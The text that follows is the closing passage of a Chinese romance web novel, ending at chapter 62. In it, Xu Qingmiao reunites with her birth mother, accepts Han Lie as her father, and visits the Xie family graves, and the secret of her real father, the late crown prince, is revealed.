谢云蝶看着如此可爱的女儿,又流下了眼泪。 许清妙看着自己美丽又柔软的亲娘哭得梨花带雨,慌忙伸手抱住她。 轻声哄道:“娘,清妙长大了,你别哭,清妙是真的喜欢您。” 谢云蝶抱紧了怀中的女儿,边哭边笑:“娘不哭,娘是高兴才哭,清妙被教养的这么好,娘却从没养过你,娘心里又感恩又难过。” 许清妙眼眶也微微发红,“娘不要这么说,女儿十六岁不到,往后还有好多时间需要娘的照顾。” 谢云蝶抬头愣道:“什么十六岁,清妙你今年十八了。” 许清妙暗道糟糕,一时激动说错了。 她连忙解释:“娘,是女儿说错了,老记着自己才刚及笄呢,哎没想到都已经十八岁过大半了。” 谢云蝶没忍住笑了,这丫头可爱伶俐,有时候又糊里糊涂的,和她年幼时太像了,只是这说话间的神色却与她不一样,大概是像了她的父亲。 母女俩相认很顺利,等到许恪与韩烈再见到他们时,俩人手挽着手正在画消寒图。 许恪不由侧目看向韩烈:这是说完了? 韩烈清了清嗓子说话:“夫人与清妙说完了?” 谢云蝶抬头,笑着点头:“说了,清妙该叫你什么呢?” 许清妙捂嘴笑,刚才她拿这个问题问谢云蝶时,她还支支吾吾的不好意思,转头就当面问韩相了,果然他们感情很好。 但,许清妙很肯定韩烈不是她的父亲,如果是他不会避开出去。 许恪捂嘴笑了笑,也看向韩烈,一向才思敏捷的韩相也没想到被一个称呼为难了。 “叫父亲?”韩烈试探道。 “那你问问清妙愿不愿意吧?”谢云蝶这辈子都不会告诉他们清妙的父亲是谁,如果清妙愿意,她也乐见清妙叫韩烈父亲。 清妙转头看向许恪,又看了看谢云蝶,俩人皆是鼓励的看着她。 既然多了个亲娘,那多个后爹也没什么,至于亲爹,看她的态度大概率是早就不在人世了。 人活在当下,她坦然拥抱。 “父亲。”许清妙毫不扭捏大大方方地叫了人,就像她前段时间喊大伯父为父亲一样,叫出第一声来就能完全接受了。 韩烈大喜过望,他这辈子都不会再有儿女了,许清妙能认他作父亲,他由衷地高兴。 他兴奋地转身就走,留下三人面面相觑。 “老师这是高兴坏了,一会就好。” 许恪也没见过韩烈这般,只能这么解释。 很快,门外传来脚步声,韩烈去而复返,手里捧着一只镶金嵌玉的匣子。 他将匣子递给许清妙,轻声催促:“清妙接着,你叫我一声父亲,往后就是我的亲女儿,这里面是给你补的嫁妆,还有库房的钥匙,你喜欢什么往后都自己就去挑什么,这是我和你娘的心意。” 许清妙这下真吓到了,手里捧着匣子连连拒绝:“娘,这,这不行啊,我哪敢拿这钥匙。” “为何不行?给你就收着吧,你父亲这辈子第一次当爹,都是他的心意。”谢云蝶笑得开心,她知道韩烈的为人,他能等她十八年又岂会在意这些身外物,能让清妙认可他才是他真正在意的。 “我怕遭贼惦记,钥匙给您。” 许清妙说什么也不肯收那钥匙,只捧着那盒子珠宝给随行而来的鹊枝收好。 鹊枝见小姐找了亲娘,也是高兴地手舞足蹈。 许清妙没有想到走一趟韩相府,她多了一双爹娘,这份惊喜太甚以至于她走在回去的路上都笑得合不拢嘴。 “哥哥,我找到了娘,还多了一个爹,我太高兴了。” 许恪牵着她俩人从韩府出来后,走在街上散步。 傍晚时分,云蒸霞染,空气里都透着快乐的泡泡。 “嗯,我也替妙妙高兴,等回了府里告诉家里,让大家都为你高兴。” 这么多年,许清妙自己虽然觉得幸福知足,但他却知道,没有母亲的孩子又怎么能说没有遗憾呢。 只是他的妙妙善良心软,她在知道谢家冤案后,是发自内心地真正的理解和体谅谢云蝶,她舍不得让她的娘亲再难过了。 如果时光倒流,她会告诉幼年的自己:你有一位非常爱你的亲娘在遥远的地方想念你,不必难过也不必羡慕,你是你娘独一无二的宝贝。 夫妻俩人回到许家时,许家热闹喜庆,这是从国丧后首次张灯结彩地欢庆。 “我们就出门一天,家里可是发生什么好事了?” 许清妙欣喜地看向府里的下人们,一个个喜气洋洋脚下生风地忙活着。 老太太院里的大丫鬟锦棉正迎面走来,身后跟着四个粗使丫头拎着礼盒,几人见了许恪许清妙行礼作揖。 “翰林,大少夫人,今儿府里有大喜事,奴婢正替老太太往二少爷屋里送赏赐呢。” 许清妙正好奇,忙问道:“是何喜事呢?我们俩刚才外面回来还不知道呢。” 锦棉喜气洋洋地说道:“是云竹有了身孕,老太太说了这是喜事让都热闹热闹。” 许清妙听了也挺高兴,忙转头对鹊枝说:“鹊枝你也去回去拿了礼物去道喜,这真是喜事。” 锦棉带着人先告辞走远,鹊枝也往他们院子去了。 许恪牵着许清妙悠闲地走在院子里,低头看她:“我们先去祖父那里,告诉祖父?” 许清妙没有意见,颔首同意,话题却依旧在云竹有孕上。 “哥哥,如今二哥有了孩子,娘会不会更催我呀?” 许恪摇头:“不会,我跟她说了不是你的问题。” “况且,祖母一向不许妾室早于正妻有孕,如今却给云竹送了赏赐,说明她的态度也在变化,我提的意见她们都有听进去。” 许清妙不由问道:“哥哥提了什么意见,我怎么不知道。” 许恪侧头看向她,轻轻地笑了笑:“你忘了吗?我说过如果真要没有孩子缘分就往二弟那里过继一个孩子,我是认真的,也跟祖母她们说过。” 许清妙停下脚步,感动地看着他,这才多久,他就为以后做好了打算。 “哥哥,我现在觉得有个我们的孩子更好。” 许恪捏了捏她的脸颊,认真道:“那我们要更加努力了。” 许清妙脸上爆红,不由回想起俩人在床幔内做过的事,说过的话。 “哥哥,不许笑话我。” 许恪唇角轻勾,愉悦地说道:“不敢,妙妙已经很棒了。” 许清妙揉了揉脸,平复情绪,她是乐观豁达之人,哥哥却还是会处处关注她的情绪,生怕委屈了她,这样的感觉可真好。 但一想到,他面无表情地跟家里长辈们说,生不出孩子跟她无关而是他的问题时,她就想大声告诉所有人,他们以后会有孩子的。 别催! 第62章(正文完) 第62章 第62章 冬天的第一场雪下得匆匆忙忙,只一个晚上新雪暂停,四野披上一层浅淡的白色。 许清妙跪在谢家祖坟前行礼,从此往后她就是堂堂正正的谢家后人。 香烛的青烟袅袅升起,转眼又消逝在寒风之中。 “娘,起身吧。”许清妙扶起跪在前方的谢云蝶,母女俩相似的眉眼,唯有脸型略有不同,许清妙是略圆的鹅蛋脸,而谢云蝶是一张标准的瓜子脸,楚楚动人。 谢云蝶起身,扶着许清妙的手臂,抬眼看向守在不远处挺拔的两个男人。 “清妙好奇你的父亲吗?” 许清妙圆圆的眼睛看向她,眼里有好奇,却很是乖巧地摇头:“不好奇,娘不想说就不要告诉女儿。” 她想的很清楚,她从小就有父亲的疼爱,就算知道亲生父亲是谁也很难想象其他人代替许三爷,倒不如满足娘的愿望,不去打探亲爹的情况。 谢云蝶不由松了一口气,握紧了许清妙的手,“你的父亲并不知道有你,你不用有任何负担,不告诉你只是娘的一点私心。”她或许爱过太子哥哥,但更多地是愧疚,那一晚是太子作为出面救谢家向她提的要求,她心甘情愿地欢喜答应了,却不想赔上了太子哥哥的所有也没能救得了谢家。 反倒是一夜过后,她怀上了太子的孩子。或许是命中注定的,她痛苦绝望过,却毅然将孩子生了下来,是她对太子愧疚的弥补,也是她支持活下去的一点希望。 而如今希望开成了花,结出了果。 许清妙颔首,不纠结这些,她细心地牵着谢云蝶走向守在在一旁的许恪和韩烈。 “走吧,天色又暗了,怕是回程还会下雪。” 刚刚还亮堂的天空,不知何时变得晦暗不清,飘飘荡荡的天地间又有稀疏的雪粒落下来。 四人从小路上走下来,守在路边的仆从正在调转马车,这唯一的山路尽头,只见一辆驴车缓缓驶来。 许清妙与谢云蝶登上了马车,车帘撩起,那驴车正缓缓地从窗前走过,只见一壮实的农家汉子驾着车,车上一白发白须的老人靠在车窗。 “是李大夫呀。” 许清妙认出来人,正是为她看过病的李素风,她现在吃的调理汤药还是他开的方子呢。 “清妙认识?”谢云蝶不由好奇地看过去。 “认识的。” 只见简陋的驴车缓缓停下,而正准备上马的许恪向着驴车走过去。 “李医正,巧了在这里能碰上您。” 李素风克制着没往马车里瞧,见到许恪的那一秒他就知道车里坐的肯定是许清妙,只笑着看向许恪道:“许参知好久不见,老夫正要去祭拜先人所以路过此处。” 所谓祭拜先人不过是借口,这座山是谢家的族山,葬着谢家祖祖辈辈,虽然这些年,谢家抄家后也有附近的村民葬进来,可说到底外姓人葬在这里的少之又少。 许恪心底一直以来的疑惑似乎拨云见日,李素风怕是与谢家人认识。 李素风没有多说多问,许恪只得打过招呼后便让开了路,看着李素风的牛车驶过。 而走远的李素风在山的另一面停了车,孤身一人提着祭品颤巍巍地往山上走去。 青山绿水,枯藤老坟,一座不显眼的坟包隐在其间,李素风一声长叹,回想起刚见到的车马,除了许恪另一人立在不远处的马车前与人说话,那是当朝右相韩烈。 不敢深想,韩烈出现在谢家坟前,只能是一个缘由,当年的谢三娘该是回来了。 “主子,您求仁得仁,一家人也算是团聚了。” 陈旧的墓碑上刻着一个假名字,里面埋着的却是真正的乾德太子,这世上怕是除了他再无人知晓这一处孤坟了。 山的另一头,许清妙几人的车马走远,缓缓驶出山林,她不由掀开车帘往回看,白雪纷飞,无边寂寥。 (正文完)